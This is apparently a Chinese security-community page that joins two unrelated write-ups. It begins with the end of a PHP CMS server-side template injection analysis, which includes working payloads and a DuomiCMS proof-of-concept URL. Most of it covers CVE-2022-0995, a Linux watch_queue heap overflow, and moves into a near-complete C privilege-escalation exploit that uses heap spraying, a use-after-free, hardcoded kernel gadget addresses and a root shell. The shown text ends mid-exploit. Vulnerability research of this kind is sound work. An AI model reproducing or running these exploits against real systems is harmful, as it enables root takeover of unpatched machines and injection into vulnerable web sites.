所以全局搜索函数调用的地方
在入口文件就已经发生对该函数的调用,
通过分析cms的路由可知，m=vod-search参数进行拆分vod参数和search参数，vod参数是进入的文件路径，search是vod.php的一个选项
wd是可以直接通过post方式传入的值
在search的模块中
$tpl->P["siteaid"] = 15;
$wd = be("all", "wd");
if(!empty($wd)){ $tpl->P["wd"] = $wd; }
关键的替换代码
$colarr = array('{page:des}','{page:key}','{page:now}','{page:order}','{page:by}','{page:wd}','{page:wdencode}','{page:pinyin}','{page:letter}','{page:year}','{page:starring}','{page:starringencode}','{page:directed}','{page:directedencode}','{page:area}','{page:areaencode}','{page:lang}','{page:langencode}','{page:typeid}','{page:typepid}','{page:classid}');
$valarr = array($tpl->P["des"],$tpl->P["key"],$tpl->P["pg"],$tpl->P["order"],$tpl->P["by"],$tpl->P["wd"],urlencode($tpl->P["wd"]),$tpl->P["pinyin"],$tpl->P["letter"],$tpl->P['year']==0?'':$tpl->P['year'],$tpl->P["starring"],urlencode($tpl->P["starring"]),$tpl->P["directed"],urlencode($tpl->P["directed"]),$tpl->P["area"],urlencode($tpl->P["area"]),$tpl->P["lang"],urlencode($tpl->P["lang"]),$tpl->P['typeid'],$tpl->P['typepid'] ,$tpl->P['classid'] );
$tpl->H = str_replace($colarr, $valarr ,$tpl->H);
所以在渲染的时候，我们需要构造的就是wd这个参数，回过头可以看看我们需要构造什么样的正则
首先要符合正则表达式
{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}
类似这样：
{if-dddd:phpinfo()}{endif-dddd}
这就是那个payload了。
### DuomiCMS的SSTI
#### 环境搭建
DuomiCms_v1.32
#### POC
/search.php?searchtype=5&tid=&area=phpinfo()
#### 漏洞分析
不分析了，和上面两个差不多。感觉模板的渲染的思路好像是一样的。
## 总结
SSTI只是注入漏洞的一种，其基本的原理依然是用户的不正常输入造成了有害的输出，简而言之，一切的输入都是有害的。
通过以上的几个CMS的分析看，主要的原因有如下几点：
* 对插入模板的数据过滤不严格造成的
* eval的滥用
* 对输入的数据没有过滤
## 相关链接
<http://rickgray.me/2015/11/03/server-side-template-injection-attack-analysis/>
<https://www.jianshu.com/p/a7838a89f2f9>
<https://www.jianshu.com/p/ebf156afda49>
<https://www.cnblogs.com/test404/p/7397755.html>
<http://imosin.com/2017/11/14/DuomiCms/> | 社区文章 |
# 0x00.一切开始之前
CVE-2022-0995 是近日爆出来的一个存在于 _观察队列事件通知子系统_ （watch_queue event notification
subsystem）中的一个堆溢出漏洞，该漏洞自内核版本 `5.8` 中伴随着 watch queue subsystem 引入，在 `5.17-rc7`
版本中被修复
不过虽然获得了 `7.1` 的 CVSS 评分，但这个漏洞似乎并没有什么热度，不过在笔者看来这仍然是一个品相不错的漏洞
在开始之前我们先来补充一些基础知识
## _General notification mechanism_
> 参见<https://www.kernel.org/doc/html/latest/watch_queue.html>
_通用通知机制_ 是建立在标准管道驱动之上的，其可以有效地将来自内核的通知消息拼接到用户打开的管道中，我们可以通过 `CONFIG_WATCH_QUEUE`
编译选项启用（默认开启）
该机制通过一个以特殊模式打开的管道实现，内核生成的消息被保存到管道内部的循环环形缓冲区中（`pipe_buffer` 队列），通过 `read()`
进行读取，由于在某些情况下我们可能想要将添加的内容还原到环上，因此在此类管道上禁用了 splice 以及类似功能（因为这可能导致其与通知消息交织在一起）
管道的所有者应当告诉内核哪些资源其想要通过该管道进行观察，只有连接到该管道上的资源才会往里边插入消息，需要注意的是一个资源可能会与多个管道绑定并同时将消息插入所有管道
若环中没有可用的插槽或可用的预分配的 message buffer（一个管道默认只有 16 个 `pipe_buffer` ——对应 16
张内存页），则消息将会被丢弃，在这两种情况下，`read()` 将在读取当前缓冲区的最后一条消息后将
`WATCH_META_LOSS_NOTIFICATION` 插入输出缓冲区
### Watch Queue（Notification Output）API
一个 _观测队列_ （watch
queue）是由一个应用分配的用以记录通知的缓冲区，其工作原理完全隐藏在管道设备驱动中，但有必要获得一个对其的引用以设置一个观测，可以通过以下 API
进行管理：
* `struct watch_queue *get_watch_queue(int fd);`
由于观测队列在内核中通过实现缓冲区的管道的文件描述符表示，用户空间必须通过系统调用传递该文件描述符，这可以用于从系统调用中查找指向观测队列的不透明指针
* `void put_watch_queue(struct watch_queue *wqueue);`
该函数用以丢弃从 `get_watch_queue()` 获得的引用
### Event Filter
当一个观测队列被创建后，我们可以应用一组 _过滤器_ （filters）以限制接收的事件：
struct watch_notification_filter filter = {
...
};
ioctl(fd, IOC_WATCH_QUEUE_SET_FILTER, &filter)
其中 filter 应为一个 `struct watch_notification_filter` 类型变量，其中 `nr_filters` 表示
`filters[]` 数组中过滤器的数量，而 `__reserved` 应为 0：
struct watch_notification_filter {
__u32 nr_filters;
__u32 __reserved;
struct watch_notification_type_filter filters[];
};
`filters[]` 为一个 `watch_notification_type_filter` 类型的结构体数组，该结构体定义如下：
struct watch_notification_type_filter {
__u32 type;
__u32 info_filter;
__u32 info_mask;
__u32 subtype_filter[8];
};
* `type` 为要过滤的事件类型，应当为类似 `WATCH_TYPE_KEY_NOTIFY` 的值
* `info_filter` 与 `info_mask` 充当通知记录的信息字段的过滤器，仅在以下情况才将通知写入缓冲区：
(watch.info & info_mask) == info_filter
例如，这可以用于忽略不在一个挂载树上的观测点的事件
* `subtype_filter` 为一个指示我们感兴趣的子类型的 bitmask，`subtype_filter[0]` 的 0 位对应子类型 0，1 位对应子类型 1，以此类推
若 ioctl() 的参数为 NULL，则过滤器将被移除，我们将接收到所有来自观测源的事件
## 内核中 watch queue subsystem 中 Event Filter 的实现
前面我们抄了一大段的 kernel document，现在我们来深入源码看一下 watch queue subsystem 的实现机制
当我们调用 `ioctl(fd, IOC_WATCH_QUEUE_SET_FILTER, &filter)` 时，会调用 `do_vfs_ioctl()`
判断 cmd 进行处理，而我们的 `IOC_WATCH_QUEUE_SET_FILTER` 不在其列表中，所以最后会走到 `vfs_ioctl()`
SYSCALL_DEFINE3(ioctl, unsigned int, fd, unsigned int, cmd, unsigned long, arg)
{
struct fd f = fdget(fd);
int error;
if (!f.file)
return -EBADF;
error = security_file_ioctl(f.file, cmd, arg);
if (error)
goto out;
error = do_vfs_ioctl(f.file, fd, cmd, arg);
if (error == -ENOIOCTLCMD)
error = vfs_ioctl(f.file, cmd, arg);
out:
fdput(f);
return error;
}
在 `vfs_ioctl()` 中会调用 file 结构体自身的函数表中的 `unlocked_ioctl` 指针
long vfs_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
int error = -ENOTTY;
if (!filp->f_op->unlocked_ioctl)
goto out;
error = filp->f_op->unlocked_ioctl(filp, cmd, arg);
if (error == -ENOIOCTLCMD)
error = -ENOTTY;
out:
return error;
}
EXPORT_SYMBOL(vfs_ioctl);
那么这里我们需要将目光放回管道的创建流程中分配文件描述符的部分，存在如下调用链：
do_pipe2()
__do_pipe_flags()
create_pipe_files()
alloc_file_pseudo()
alloc_file()
`alloc_file()` 分配一个 file 结构体并将其函数表设为上层调用传入的函数表，而在 `create_pipe_files()`
中传入的函数表为 `pipefifo_fops`：
const struct file_operations pipefifo_fops = {
.open = fifo_open,
.llseek = no_llseek,
.read_iter = pipe_read,
.write_iter = pipe_write,
.poll = pipe_poll,
.unlocked_ioctl = pipe_ioctl,
.release = pipe_release,
.fasync = pipe_fasync,
.splice_write = iter_file_splice_write,
};
因此最终调用到的是 `pipe_ioctl()`，对于 cmd `IOC_WATCH_QUEUE_SET_FILTER` 而言，最终会调用
`watch_queue_set_filter()` 函数
static long pipe_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
struct pipe_inode_info *pipe = filp->private_data;
int count, head, tail, mask;
switch (cmd) {
case FIONREAD:
__pipe_lock(pipe);
count = 0;
head = pipe->head;
tail = pipe->tail;
mask = pipe->ring_size - 1;
while (tail != head) {
count += pipe->bufs[tail & mask].len;
tail++;
}
__pipe_unlock(pipe);
return put_user(count, (int __user *)arg);
#ifdef CONFIG_WATCH_QUEUE
case IOC_WATCH_QUEUE_SET_SIZE: {
int ret;
__pipe_lock(pipe);
ret = watch_queue_set_size(pipe, arg);
__pipe_unlock(pipe);
return ret;
}
case IOC_WATCH_QUEUE_SET_FILTER:
return watch_queue_set_filter(
pipe, (struct watch_notification_filter __user *)arg);
#endif
default:
return -ENOIOCTLCMD;
}
}
# 0x01.漏洞分析
漏洞便发生在 `watch_queue_set_filter()`中将 filter
数组从用户空间拷贝到内核空间的过程当中，现在让我们仔细审视这个函数的执行流程，在一开始时首先会将用户空间的
`watch_notification_filter` 结构拷贝到内核空间：
long watch_queue_set_filter(struct pipe_inode_info *pipe,
struct watch_notification_filter __user *_filter)
{
struct watch_notification_type_filter *tf;
struct watch_notification_filter filter;
struct watch_type_filter *q;
struct watch_filter *wfilter;
struct watch_queue *wqueue = pipe->watch_queue;
int ret, nr_filter = 0, i;
if (!wqueue)
return -ENODEV;
if (!_filter) {
/* Remove the old filter */
wfilter = NULL;
goto set;
}
/* Grab the user's filter specification */
if (copy_from_user(&filter, _filter, sizeof(filter)) != 0)
return -EFAULT;
if (filter.nr_filters == 0 ||
filter.nr_filters > 16 ||
filter.__reserved != 0)
return -EINVAL;
之后 `memdup_user()` 分配一块临时空间，将用户空间的 filter 数组拷贝至该临时空间
tf = memdup_user(_filter->filters, filter.nr_filters * sizeof(*tf));
if (IS_ERR(tf))
return PTR_ERR(tf);
接下来会遍历每一个 `watch_notification_type_filter` 结构，记录 type 在指定范围的 filter 的数量到变量
`nr_filter` 中，这里其判断一个 type 是否合法的范围是 `sizeof(wfilter->type_filter) * 8`
ret = -EINVAL;
for (i = 0; i < filter.nr_filters; i++) {
if ((tf[i].info_filter & ~tf[i].info_mask) ||
tf[i].info_mask & WATCH_INFO_LENGTH)
goto err_filter;
/* Ignore any unknown types */
if (tf[i].type >= sizeof(wfilter->type_filter) * 8)
continue;
nr_filter++;
}
接下来会分配真正储存 filter 的的空间，这里用了一个 `struct_size()` 导出的大小为 `sizeof(wfilter) +
sizeof(filters) * nr_filter`（感兴趣的同学可以自行阅读源码），注意到这里计算大小用的是我们前面遍历计算得到的
`nr_filter`：
/* Now we need to build the internal filter from only the relevant
* user-specified filters.
*/
ret = -ENOMEM;
wfilter = kzalloc(struct_size(wfilter, filters, nr_filter), GFP_KERNEL);
if (!wfilter)
goto err_filter;
wfilter->nr_filters = nr_filter;
之后是将 filter 数组拷贝到分配的空间上， **我们的第一个漏洞便出现在这里，其判断 type 是否合法使用的是**
`sizeof(wfilter->type_filter) * BITS_PER_LONG)` ， **与前面 nr_filter 的计算存在不一致性**
：
q = wfilter->filters;
for (i = 0; i < filter.nr_filters; i++) {
if (tf[i].type >= sizeof(wfilter->type_filter) * BITS_PER_LONG)
continue;
q->type = tf[i].type;
q->info_filter = tf[i].info_filter;
q->info_mask = tf[i].info_mask;
q->subtype_filter[0] = tf[i].subtype_filter[0];
__set_bit(q->type, wfilter->type_filter);
q++;
}
而 `BITS_PER_LONG` 定义于 `/include/asm-generic/bitsperlong.h` 中， **在 32 位下为 32，64
位下为64** ：
#ifdef CONFIG_64BIT
#define BITS_PER_LONG 64
#else
#define BITS_PER_LONG 32
#endif /* CONFIG_64BIT */
那么前后对 type 范围的计算便存在不一致，我们不难想到的是 **我们可以指定几个 filter 的 type 为（计算 nr_filter 时的合法
type 上限值，拷贝 filter 时的合法 type 上限值）这个范围内的特定值，这样就能越界拷贝一定数量的 filter，从而完成堆上的越界写**
那么这里我们容易计算得出触发第一个漏洞的 type 的范围应为 `[0x80, 0x400)`
而 **第二个漏洞则存在于上面这段代码中对** `__set_bit()` **的调用，该函数定义如下：**
static inline void __set_bit(int nr, volatile unsigned long *addr)
{
unsigned long mask = BIT_MASK(nr);
unsigned long *p = ((unsigned long *)addr) + BIT_WORD(nr);
*p |= mask;
}
其作用便是 **将 addr 偏移 BIT_WORD(nr) 处的 BIT_MASK(mask) 位进行置 1 操作** ，这里的 `BIT_WORD()`
宏主要是除以 long 类型所占位数（64），而 `BIT_MASK()` 宏则是对 long 类型所占位数求模后结果作为 unsigned long 值
1 左移的位数导出结果数值：
#define BIT_MASK(nr) (UL(1) << ((nr) % BITS_PER_LONG))
#define BIT_WORD(nr) ((nr) / BITS_PER_LONG)
而传入的第一个参数刚好为 type，由于我们的 type 可以在 `[0x80, 0x400)` 范围内取， **而分配的 filter
空间却未必有那么大，因此这里存在一个越界置 1 位的漏洞，我们可以通过设置一个较大的 type 完成堆上越界置 1 位的操作**
例如对于 `kmalloc-96` 而言，我们的对象可以覆盖到下图所示范围（本图来自于
[breezeO_o师傅的博客](https://blog.csdn.net/Breeze_CAT/article/details/123845526)）：
# 0x02.漏洞利用
在[目前公开的 exp](https://github.com/Bonfee/CVE-2022-0995) 中对该漏洞的利用其实是基于
`__set_bit()` 进行利用的，因为相较于不好控制的 filter 溢出，越界写 1 位则更方便我们控制一些指针，例如
`msg_msg->m_list` 双向链表
在这份公开的 exp 中使用的其实是与 CVE-2021-22555 相同的利用技巧，只不过篡改 `msg_msg` 头部的方式不是邻接溢出写
0，而是越界写 1；接下来笔者将使用与 CVE-2021-22555 相同的利用技巧完成对该漏洞的利用
## 提权
### Step.I 堆喷 `msg_msg` ，建立主从消息队列，构造重叠辅助消息
现在我们有了一个堆上越界写 1 位，我们该怎么利用呢？比较朴素的一种思想便是覆写一个结构体中的指针，利用 partial overwrite
使得两个这样的结构体的头部指针指向同一个结构体， **从而实现 object overlapping**
那么选用什么样的结构体作为 victim 呢？这里我们选择使用 `msg_msg`
这一结构体，其长度可控，且开头正好是内核双向链表结构体，我们所能覆写的为其 next 指针：
/* one msg_msg structure for each message */
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};
当我们在一个消息队列上发送多个消息时，会形成如下结构：
我们不难想到的是，我们可以在一开始时先创建多个消息队列，并分别在每一个消息队列上发送两条消息，形成如下内存布局，这里为了便利后续利用，第一条消息（主消息）的大小为
96，第二条消息（辅助消息）的大小为 0x400：
之后我们读出其中几个消息队列的主消息以产生空洞，再利用 `ioctl(fd, IOC_WATCH_QUEUE_SET_FILTER, &filter)`
获取到我们刚释放的 `msg_msg` 结构体的空间
这里需要注意的是 **我们至少要释放两个主消息，因为在分配到 watch_filter 之前 memdup_user() 还需要获取一个对象**
tf = memdup_user(_filter->filters, filter.nr_filters * sizeof(*tf));
if (IS_ERR(tf))
return PTR_ERR(tf);
//...
/* Now we need to build the internal filter from only the relevant
* user-specified filters.
*/
ret = -ENOMEM;
wfilter = kzalloc(struct_size(wfilter, filters, nr_filter), GFP_KERNEL);
对于 `__set_bit()` 而言其可以置 1 的范围如下图所示，刚好可以覆盖到下一相邻 object 的前 16 字节
利用越界置 1 位我们可以覆写到其相邻的主消息的 next 指针，若该位刚好被由 0 变为 1，则我们很容易构造出
**在两个消息队列上存在两个主消息指向同一个辅助消息** 的这样的局面
我们可以通过在主从消息中放置对应的值来标识喷射的不同的消息队列，遍历读取所有队列来感知指向了同一辅助消息的两个队列
> 利用 `MSG_COPY`
> 标志位可以读取消息队列上的消息而不释放，参见[这里](https://arttnba3.cn/2021/11/29/NOTE-0X08-LINUX-> KERNEL-PWN-PART-> IV/#0x07-system-V-%E6%B6%88%E6%81%AF%E9%98%9F%E5%88%97%EF%BC%9A%E5%86%85%E6%A0%B8%E4%B8%AD%E7%9A%84%E2%80%9C%E8%8F%9C%E5%8D%95%E5%A0%86%E2%80%9D)
### Step.II 释放辅助消息，构造 UAF
此时我们将辅助消息释放掉，便能成功完成 UAF 的构建，此时 **我们仍能通过其中一个消息队列访问到该辅助消息对应 object，但实际上这个 object
已经在 freelist 上了**
### Step.III 堆喷 `sk_buff` 伪造辅助消息，泄露 UAF obj 地址
接下来我们考虑如何利用这个 UAF，因为其仍位于消息队列上所以我们考虑伪造 `msg_msg`
结构体进行后续的利用，这里我们选用另外一个常用来进行堆喷的结构体——`sk_buff`，类似于
`msg_msg`，其同样可以提供近乎任意大小对象的分配写入与释放，但不同的是 `msg_msg` 由一个 header 加上用户数据组成，而
`sk_buff` 本身不包含任何用户数据， **用户数据单独存放在一个 object 当中，而 sk_buff 中存放指向用户数据的指针**
至于这个结构体的分配与释放也是十分简单， **sk_buff 在内核网络协议栈中代表一个「包」，** 我们不难想到的是 **我们只需要创建一对
socket，在上面发送与接收数据包就能完成 sk_buff 的分配与释放** ，最简单的办法便是用 socketpair 系统调用创建一对
socket，之后对其 read & write 便能完成收发包的工作
接下来我们考虑如何通过伪造 `msg_msg` 结构体完成信息泄露，我们不难想到的是可以伪造一个 `msg_msg` 结构体，将其 `m_ts`
域设为一个较大值， **从而越界读取到相邻辅助消息的 header，泄露出堆上地址**
我们泄露出来的是哪个地址？让我们重新将目光放回到消息队列的结构上：
我们不难知道的是，该辅助消息的 prev 指针指向其主消息，而该辅助消息的 next 指针指向该消息队列的 `msg_queue`
结构，这是目前我们已知的两个“堆上地址”
接下来我们伪造 `msg_msg->next`， **将其指向我们的 UAF object
相邻的辅助消息对应的主消息头部往前，从而读出该主消息的头部，泄露出对应的辅助消息的地址** ，有了这个辅助消息的地址，再减去 0x400 **便是我们的
UAF 对象的地址**
> 通过伪造 msg_msg->next
> 可以完成任意地址读，参见[这里](https://arttnba3.cn/2021/11/29/NOTE-0X08-LINUX-KERNEL-PWN-> PART-> IV/#0x07-system-V-%E6%B6%88%E6%81%AF%E9%98%9F%E5%88%97%EF%BC%9A%E5%86%85%E6%A0%B8%E4%B8%AD%E7%9A%84%E2%80%9C%E8%8F%9C%E5%8D%95%E5%A0%86%E2%80%9D)
### Step.IV 堆喷 `pipe_buffer`，泄露内核基址
现在我们已知了可控区域的地址，接下来让我们来考虑泄露内核 .text 段的基址，以及如何劫持 RIP 完成提权
之前我们为什么将辅助消息的大小设为 0x400？除了方便对齐以外，还有一层考虑就是这个大小刚好有一个十分实用的结构体 `pipe_buffer` 数组，
**既能帮我们泄露内核代码段基址，也能帮我们劫持 RIP**
当我们创建一个管道时，在内核中会生成数个连续的 `pipe_buffer` 结构体，申请的内存总大小刚好会让内核从 kmalloc-1k 中取出一个
object
/**
* struct pipe_buffer - a linux kernel pipe buffer
* @page: the page containing the data for the pipe buffer
* @offset: offset of data inside the @page
* @len: length of data inside the @page
* @ops: operations associated with this buffer. See @pipe_buf_operations.
* @flags: pipe buffer flags. See above.
* @private: private data owned by the ops.
**/
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
在 `pipe_buffer` 中存在一个函数表成员 `pipe_buf_operations` ，其指向内核中的函数表
`anon_pipe_buf_ops`，若我们能够将其读出，便能泄露出内核基址，操作如下：
* 利用 `sk_buff` 修复辅助消息，之后从消息队列中接收该辅助消息，此时该 object 重回 slub 中，但 `sk_buff` 仍指向该 object
* 喷射 `pipe_buffer`，之后再接收 `sk_buff` 数据包， **我们便能读出 pipe_buffer 上数据，泄露内核基址**
### Step.V 伪造 pipe_buffer，构造 ROP，劫持 RIP，完成提权
当我们关闭了管道的两端时，会触发 `pipe_buffer->pipe_buffer_operations->release` 这一指针，而 UAF
object 的地址对我们而言是已知的，因此 **我们可以直接利用 sk_buff 在 UAF object 上伪造函数表与构造 ROP
chain，再选一条足够合适的 gadget 完成栈迁移便能劫持 RIP 完成提权**
### Final EXPLOIT
最终的 exp 如下（基本上就是把 CVE-2021-22555 的 exp 里 trigger oob 的函数改一下就能打通了）：
#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <linux/watch_queue.h>
#include <sys/syscall.h>
#define PRIMARY_MSG_SIZE 96
#define SECONDARY_MSG_SIZE 0x400
#define PRIMARY_MSG_TYPE 0x41
#define SECONDARY_MSG_TYPE 0x42
#define VICTIM_MSG_TYPE 0x1337
#define MSG_TAG 0xAAAAAAAA
#define SOCKET_NUM 16
#define SK_BUFF_NUM 128
#define PIPE_NUM 256
#define MSG_QUEUE_NUM 4096
#define ANON_PIPE_BUF_OPS 0xffffffff82076500
#define PREPARE_KERNEL_CRED 0xffffffff810d1350
#define INIT_CRED 0xffffffff82a63be0
#define COMMIT_CREDS 0xffffffff810d0ec0
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00f30
#define POP_RDI_RET 0xffffffff810310a3
size_t user_cs, user_ss, user_sp, user_rflags;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
struct list_head
{
uint64_t next;
uint64_t prev;
};
struct msg_msg
{
struct list_head m_list;
uint64_t m_type;
uint64_t m_ts;
uint64_t next;
uint64_t security;
};
struct msg_msgseg
{
uint64_t next;
};
struct
{
long mtype;
char mtext[PRIMARY_MSG_SIZE - sizeof(struct msg_msg)];
}primary_msg;
struct
{
long mtype;
char mtext[SECONDARY_MSG_SIZE - sizeof(struct msg_msg)];
}secondary_msg;
/*
* skb_shared_info need to take 320 bytes at the tail
* so the max size of buf we should send is:
* 1024 - 320 = 704
*/
char fake_secondary_msg[704];
struct
{
long mtype;
char mtext[0x1000 - sizeof(struct msg_msg) + 0x1000 - sizeof(struct msg_msgseg)];
} oob_msg;
struct pipe_buffer
{
uint64_t page;
uint32_t offset, len;
uint64_t ops;
uint32_t flags;
uint32_t padding;
uint64_t private;
};
struct pipe_buf_operations
{
uint64_t confirm;
uint64_t release;
uint64_t try_steal;
uint64_t get;
};
void errExit(char *msg)
{
printf("\033[31m\033[1m[x] Error: %s\033[0m\n", msg);
exit(EXIT_FAILURE);
}
int readMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0);
}
int writeMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
*(long*)msgp = msgtyp;
return msgsnd(msqid, msgp, msgsz - sizeof(long), 0);
}
int peekMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, MSG_COPY | IPC_NOWAIT);
}
void buildMsg(struct msg_msg *msg, uint64_t m_list_next,
uint64_t m_list_prev, uint64_t m_type, uint64_t m_ts,
uint64_t next, uint64_t security)
{
msg->m_list.next = m_list_next;
msg->m_list.prev = m_list_prev;
msg->m_type = m_type;
msg->m_ts = m_ts;
msg->next = next;
msg->security = security;
}
int spraySkBuff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size)
{
for (int i = 0; i < SOCKET_NUM; i++)
for (int j = 0; j < SK_BUFF_NUM; j++)
{
// printf("[-] now %d, num %d\n", i, j);
if (write(sk_socket[i][0], buf, size) < 0)
return -1;
}
return 0;
}
int freeSkBuff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size)
{
for (int i = 0; i < SOCKET_NUM; i++)
for (int j = 0; j < SK_BUFF_NUM; j++)
if (read(sk_socket[i][1], buf, size) < 0)
return -1;
return 0;
}
void trigerOutOfBoundWrite(int pipe_fd[2])
{
struct watch_notification_filter *wfilter;
unsigned int nfilters;
nfilters = 4;
wfilter = (struct watch_notification_filter*)
calloc(1, sizeof(struct watch_notification_filter)
+ nfilters * sizeof(struct watch_notification_type_filter));
wfilter->nr_filters = nfilters;
// normal filter
for (int i = 0; i < (nfilters - 1); i++)
wfilter->filters[i].type = 1;
// evil filter
// 0x300 = 64 * 12, 12 * 8 = 96bytes
// 1 << 0xa = 1024, maybe we can hit a proper bit
wfilter->filters[nfilters - 1].type = 0x30a;
// triger oob write
if (ioctl(pipe_fd[0], IOC_WATCH_QUEUE_SET_FILTER, wfilter) < 0)
errExit("failed to ioctl IOC_WATCH_QUEUE_SET_FILTER!");
// prevent memory leak in userspace(no need in fact)
free(wfilter);
}
void getRootShell(void)
{
if (getuid())
errExit("failed to gain the root!");
printf("\033[32m\033[1m[+] Succesfully gain the root privilege, trigerring root shell now...\033[0m\n");
system("/bin/sh");
}
int main(int argc, char **argv, char **envp)
{
int oob_pipe_fd[2];
int sk_sockets[SOCKET_NUM][2];
int pipe_fd[PIPE_NUM][2];
int msqid[MSG_QUEUE_NUM];
int victim_qid, real_qid;
struct msg_msg *nearby_msg;
struct msg_msg *nearby_msg_prim;
struct pipe_buffer *pipe_buf_ptr;
struct pipe_buf_operations *ops_ptr;
uint64_t victim_addr;
uint64_t kernel_base;
uint64_t kernel_offset;
uint64_t *rop_chain;
int rop_idx;
cpu_set_t cpu_set;
saveStatus();
/*
* Step.O
* Initialization
*/
puts("\033[32m\033[1m[+] CVE-2022-0995 Linux Privilege Escalation.\033[0m");
// run the exp on specific core only
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
// pipe to trigert off-by-null
if (pipe2(oob_pipe_fd, O_NOTIFICATION_PIPE) < 0)
errExit("failed to create O_NOTIFICATION_PIPE!");
// socket pairs to spray sk_buff
for (int i = 0; i < SOCKET_NUM; i++)
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sk_sockets[i]) < 0)
errExit("failed to create socket pair!");
/*
* Step.I
* build msg_queue, spray primary and secondary msg_msg,
* and use OOB write to construct the overlapping
*/
puts("\n\033[34m\033[1m[*] Step.I spray msg_msg, construct overlapping object\033[0m");
puts("[*] Build message queue...");
// build 4096 message queue
for (int i = 0; i < MSG_QUEUE_NUM; i++)
{
if ((msqid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) < 0)
errExit("failed to create msg_queue!");
}
puts("[*] Spray primary and secondary msg_msg...");
memset(&primary_msg, 0, sizeof(primary_msg));
memset(&secondary_msg, 0, sizeof(secondary_msg));
// spray primary and secondary message
for (int i = 0; i < MSG_QUEUE_NUM; i++)
{
*(int *)&primary_msg.mtext[0] = MSG_TAG;
*(int *)&primary_msg.mtext[4] = i;
if (writeMsg(msqid[i], &primary_msg,
sizeof(primary_msg), PRIMARY_MSG_TYPE) < 0)
errExit("failed to send primary msg!");
*(int *)&secondary_msg.mtext[0] = MSG_TAG;
*(int *)&secondary_msg.mtext[4] = i;
if (writeMsg(msqid[i], &secondary_msg,
sizeof(secondary_msg), SECONDARY_MSG_TYPE) < 0)
errExit("failed to send secondary msg!");
}
// create hole in primary msg_msg
puts("[*] Create holes in primary msg_msg...");
for (int i = 0; i < MSG_QUEUE_NUM; i += 1024)
{
if (readMsg(msqid[i], &primary_msg,
sizeof(primary_msg), PRIMARY_MSG_TYPE) < 0)
errExit("failed to receive primary msg!");
}
// triger off-by-null on primary msg_msg
puts("[*] Trigger OOB write to construct the overlapping...");
trigerOutOfBoundWrite(oob_pipe_fd);
// find the queues that have the same secondary msg_msg
puts("[*] Checking whether succeeded to make overlapping...");
victim_qid = real_qid = -1;
for (int i = 0; i < MSG_QUEUE_NUM; i++)
{
if ((i % 1024) == 0) // the hole
continue;
if (peekMsg(msqid[i], &secondary_msg,
sizeof(secondary_msg), 1) < 0)
{
printf("[x] error qid: %d\n", i);
errExit("failed to receive secondary msg!");
}
if (*(int*) &secondary_msg.mtext[0] != MSG_TAG)
errExit("failed to make corruption!");
if (*(int*) &secondary_msg.mtext[4] != i)
{
victim_qid = i;
real_qid = *(int*) &secondary_msg.mtext[4];
break;
}
}
if (victim_qid < 0)
errExit("failed to make overlapping!");
printf("\033[32m\033[1m[+] victim qid:\033[0m %d \033[32m\033[1m real qid: \033[0m %d\n",
victim_qid, real_qid);
/*
* Step.II
* construct UAF
*/
puts("\n\033[34m\033[1m[*] Step.II construct UAF\033[0m");
// free the victim secondary msg_msg, then we get a UAF
if (readMsg(msqid[real_qid], &secondary_msg,
sizeof(secondary_msg), SECONDARY_MSG_TYPE) < 0)
errExit("failed to receive secondary msg!");
puts("\033[32m\033[1m[+] UAF construction complete!\033[0m");
/*
* Step.III
* spray sk_buff to leak msg_msg addr
* construct fake msg_msg to leak addr of UAF obj
*/
puts("\n\033[34m\033[1m[*] Step.III spray sk_buff to leak kheap addr\033[0m");
// spray sk_buff to construct fake msg_msg
puts("[*] spray sk_buff...");
buildMsg((struct msg_msg *)fake_secondary_msg,
*(uint64_t*)"arttnba3", *(uint64_t*)"arttnba3",
VICTIM_MSG_TYPE, 0x1000 - sizeof(struct msg_msg), 0, 0);
if (spraySkBuff(sk_sockets, fake_secondary_msg,
sizeof(fake_secondary_msg)) < 0)
errExit("failed to spray sk_buff!");
// use fake msg_msg to read OOB
puts("[*] OOB read from victim msg_msg");
if (peekMsg(msqid[victim_qid], &oob_msg, sizeof(oob_msg), 1) < 0)
errExit("failed to read victim msg!");
if (*(int *)&oob_msg.mtext[SECONDARY_MSG_SIZE] != MSG_TAG)
errExit("failed to rehit the UAF object!");
nearby_msg = (struct msg_msg*)
&oob_msg.mtext[(SECONDARY_MSG_SIZE) - sizeof(struct msg_msg)];
printf("\033[32m\033[1m[+] addr of primary msg of msg nearby victim: \033[0m%llx\n",
nearby_msg->m_list.prev);
// release and re-spray sk_buff to construct fake msg_msg
// so that we can make an arbitrary read on a primary msg_msg
if (freeSkBuff(sk_sockets, fake_secondary_msg,
sizeof(fake_secondary_msg)) < 0)
errExit("failed to release sk_buff!");
buildMsg((struct msg_msg *)fake_secondary_msg,
*(uint64_t*)"arttnba3", *(uint64_t*)"arttnba3",
VICTIM_MSG_TYPE, sizeof(oob_msg.mtext),
nearby_msg->m_list.prev - 8, 0);
if (spraySkBuff(sk_sockets, fake_secondary_msg,
sizeof(fake_secondary_msg)) < 0)
errExit("failed to spray sk_buff!");
